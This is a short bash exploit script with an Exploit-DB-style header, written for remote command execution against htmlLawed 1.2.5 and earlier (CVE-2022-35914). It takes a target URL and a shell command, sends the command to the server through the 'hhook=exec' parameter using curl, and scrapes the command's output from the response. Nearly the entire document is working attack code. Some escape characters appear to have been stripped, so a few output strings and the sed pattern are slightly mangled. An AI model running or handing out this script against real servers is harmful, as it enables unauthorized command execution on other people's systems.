htmlLawed 1.2.5 Remote Command Execution

#!/bin/bash

# Exploit Title: htmlLawed <= 1.2.5 - Remote Code Execution

# Date: 2024-05-02
# Exploit Author: Miguel Redondo (aka d4t4s3c)
# Vendor Homepage: https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed
# Software Link: https://github.com/kesar/HTMLawed
# Version: <= 1.2.5
# Tested on: Linux
# Category: Web Application
# CVE: CVE-2022-35914

while getopts ":u:c:" arg; do
  case ${arg} in
    u) url=${OPTARG}; let parameter_counter+=1 ;;
    c) cmd=${OPTARG}; let parameter_counter+=1 ;;
  esac
done

if [ -z "${url}" ] || [ -z "${cmd}" ]; then
  echo -e "n[*] htmlLawed <= 1.2.5 - Remote Code Execution"
  echo -e "n[-] Usage: CVE-2022-35914.sh -u <url> -c <cmd>n"
  exit 1
else
  echo -e "n[*] htmlLawed <= 1.2.5 - Remote Code Execution"
  echo -e "n[+] Executing Command: ${cmd}n"
  cmd_output=$(curl -s -d "sid=foo&hhook=exec&text=${cmd}" -b "sid=foo" ${url} | egrep '&nbsp; [[0-9]+] =>' | sed -E 's/&nbsp; [[0-9]+] => (.*)<br />/1/')
  echo -e "${cmd_output}n"
  exit 0
fi